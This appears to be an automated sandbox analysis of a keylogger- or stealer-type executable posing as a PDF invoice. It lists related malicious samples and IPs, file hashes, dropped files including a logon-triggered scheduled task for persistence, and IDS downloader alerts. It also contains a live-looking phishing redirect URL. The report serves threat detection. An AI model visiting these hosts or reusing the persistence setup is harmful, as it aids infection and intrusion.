PUBLIC-DOMAIN-REGISTRYUS	https://pg9t70xx.r.us-east-1.awstrack.me/L0/https:%2F%2Fjustworks.app.link%2F%3F%24deeplink_path=%2Falerts%2Ftime_off_requests%2F13a6b7f0-b2ae-4165-87b0-da6673653a54%26%24fallback_url=http%253A%252F%252Fwww.google.com.sg%252Furl%253Fsa%253Dt%2526esrc%253DYUM58NDu%2526source%253D%2526rct%253D304J%2526%2526cd%253D256Du%2526uact%2526url%253Damp%252Fs%252F%2573%2579%2573%2562%2569%257A%257A%252E%2569%256E%252F%252E%2564%2572%2565%256E%2574%256F%2570%252F%23dm1hbnRocmlwcmFnYWRhQG1vbnRyb3NlLWVudi5jb20=/1/0100019291d15735-3d3bd509-ef84-4bb4-a854-1b8c9d0b05f9-000000/-gk1ZN3uoUfApTKZkXOmptm9MGY=396	Get hash	malicious	Unknown	Browse	103.21.58.15
	Remittance copy.shtml	Get hash	malicious	HTMLPhisher	Browse	103.53.40.140
	sgJV11UlDP.exe	Get hash	malicious	GuLoader, XWorm	Browse	103.53.40.62
	c56D7_Receipt.vbs	Get hash	malicious	GuLoader, XWorm	Browse	103.53.40.62
	IMG0001.exe	Get hash	malicious	AgentTesla	Browse	199.79.62.115
	Tax Invoice 103505.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.224
	Invoice.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249
	PO.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	208.91.198.143
	Documents.exe	Get hash	malicious	AgentTesla	Browse	207.174.215.249

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Pyt Copy.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	QUOTATION.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	na.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	188.114.96.3
	Purchase-Order_SSO2345.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ACGH8aovg0.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	#U898b#U7a4d#U4f9d#U983c.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.MalwareX-gen.18789.18997.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	20042024150836 14.10.2024.vbe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
3b5074b1b5d032e5620f69f9f700ff0e	Pyt Copy.scr.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	QeV3tjOEuM.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order 10172024.bat.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Order 10172024.bat.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	rSKGCROCOMANDAFABSRLM60_647746748846748347474.bat	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	rRFQ-KTE-16102024.cmd.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Ref 4437f1621b4d3c86c805c7d643da22620c938c1e.html	Get hash	malicious	Mamba2FA	Browse	149.154.167.220
	zapretka.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	baks-zapret.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	AF1cyL4cv6.vbs	Get hash	malicious	AsyncRAT	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vrhZELiHpiub.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379677338874509
Encrypted:	false
SSDEEP:	48:tWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//8PUyus:tLHxvIIwLgZ2KRHWLOug8s
MD5:	0409BC4E22C202C47D580902DAA656F4
SHA1:	FF4E4FD1293C724A149AE0A1128D7B02CEFAED17
SHA-256:	028122B959E6E45EC84CE434E2266AC3296C0ADAB2A37C391E0DEDFCA1823206
SHA-512:	6710C3E7F5822EB83F2C5228117076D73D4785AE7A7121733B5D248D9059BDDF920D750D44717B80D2E1B19E24EC276C9EFCF7DF840E3F8D73F0E1CA35C2E5E3
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iuqeumpe.43c.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j5pskkbn.0h1.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mlinndbh.thb.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5mbjna1.i3v.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp5F82.tmp

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.112884068473387
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtabxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTMv
MD5:	B40A72CBABF5BB2D2283A3F09F4CE5FA
SHA1:	747E66482E2FC966147DCB9C2E082C483DA1A408
SHA-256:	A585E7EDB0D03AC4048DBBF1888A76FD90AD372A79A5D4FD926C4E09569E6A51
SHA-512:	03044E41CAD15B3E1736806FE09F9D594113060820B0D0C21DA46D8463E11CB9AC5F4D65D532ECD208FFC31072EA39144DB334FACBA4BA5BA9CAE9447AA14BB1
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.112884068473387
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtabxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTMv
MD5:	B40A72CBABF5BB2D2283A3F09F4CE5FA
SHA1:	747E66482E2FC966147DCB9C2E082C483DA1A408
SHA-256:	A585E7EDB0D03AC4048DBBF1888A76FD90AD372A79A5D4FD926C4E09569E6A51
SHA-512:	03044E41CAD15B3E1736806FE09F9D594113060820B0D0C21DA46D8463E11CB9AC5F4D65D532ECD208FFC31072EA39144DB334FACBA4BA5BA9CAE9447AA14BB1
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	685568
Entropy (8bit):	7.865383149265984
Encrypted:	false
SSDEEP:	12288:sTw4mLTyKugzOg26FAoIP8Idfhp/cmHl3uVXsW5BnX6Yft2zKL3wJdidN4Q:sT0L2MRJFALL9xzW63zK0JdidN
MD5:	735A7DF205549792227DE19741161BF4
SHA1:	EAF1A198D5D1B3FCB9F800D904FB77FCF292DD4F
SHA-256:	8A48CE8DB35CC289949562CAE156FCE70A8E7F913B35515BCE4CDC2741152B8B
SHA-512:	11F6C19323B3B6DA9A157588351C5ACC50AC1B0379CFF58434D6954080A6B98C1BFDC8E097DC5824D4172C69EDBCF2B0CC5461F3122C02A55FBE4A38A942733D
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....N................0..j............... ........@.. ....................................@.................................K...O.......L............................r..p............................................ ............... ..H............text....i... ...j.................. ..`.rsrc...L............l..............@..@.reloc...............t..............@..B........................H........<..(-......N....j..................................................~....o....~....o.......(;........o?.....~.....(-....(/...o.........0..4..........(/....(5...X(0.....(/...........,... ....(0.......{...."..}........(....~.....o-....o1....[X.o/....o3...X.(....(........(.........0../..............YE................+...+...+...+.+...+....0..1..............YE................+....+....+...+.+...+....{...."..}...........o.....o........o9...(;.......}......(.....*

C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.865383149265984
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Proforma Invoice_21-1541 And Packing List.pdf.exe
File size:	685'568 bytes
MD5:	735a7df205549792227de19741161bf4
SHA1:	eaf1a198d5d1b3fcb9f800d904fb77fcf292dd4f
SHA256:	8a48ce8db35cc289949562cae156fce70a8e7f913b35515bce4cdc2741152b8b
SHA512:	11f6c19323b3b6da9a157588351c5acc50ac1b0379cff58434d6954080a6b98c1bfdc8e097dc5824d4172c69edbcf2b0cc5461f3122c02a55fbe4a38a942733d
SSDEEP:	12288:sTw4mLTyKugzOg26FAoIP8Idfhp/cmHl3uVXsW5BnX6Yft2zKL3wJdidN4Q:sT0L2MRJFALL9xzW63zK0JdidN
TLSH:	1FE412F24799D93AE5E117B90632C3B645285E9EE561D303CEEE8CF3BA063C578442C9
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....N................0..j............... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4a899e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xB1944EA2 [Thu May 29 11:38:10 2064 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
push eax
add byte ptr [eax+eax+61h], ch
add byte ptr [esi+00h], ch
add byte ptr [edi+00h], al
popad
add byte ptr [ebp+00h], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa894b	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xaa000	0x64c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xac000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xa7280	0x70	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xa69bc	0xa6a00	105b745a7731b902314e1b27150417f4	False	0.9421989286384096	data	7.8740976110674445	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xaa000	0x64c	0x800	1f108096a1abf4ce7045077443a90b9c	False	0.33837890625	data	3.493196069001366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xac000	0xc	0x200	72a218fe9f9aa5bf69fc76ea0ce9af3e	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xaa090	0x3bc	data			0.40585774058577406
RT_MANIFEST	0xaa45c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49752	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49747	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49753	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49755	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49756	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49754	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49774	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49746	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49751	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49765	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49775	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49757	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49758	193.122.130.0	80	TCP
2024-10-17T09:44:42.156482+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	193.122.130.0	80	TCP
2024-10-17T09:44:43.468988+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	193.122.130.0	80	TCP
2024-10-17T09:44:43.687732+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49739	193.122.130.0	80	TCP
2024-10-17T09:44:44.393209+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49745	188.114.96.3	443	TCP
2024-10-17T09:44:45.160535+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49748	193.122.130.0	80	TCP
2024-10-17T09:44:45.872270+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49749	188.114.96.3	443	TCP
2024-10-17T09:44:46.062835+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49750	193.122.130.0	80	TCP
2024-10-17T09:44:47.156550+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49750	193.122.130.0	80	TCP
2024-10-17T09:44:47.884709+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49761	188.114.96.3	443	TCP
2024-10-17T09:44:48.606725+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49762	193.122.130.0	80	TCP
2024-10-17T09:44:50.190043+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49772	188.114.96.3	443	TCP
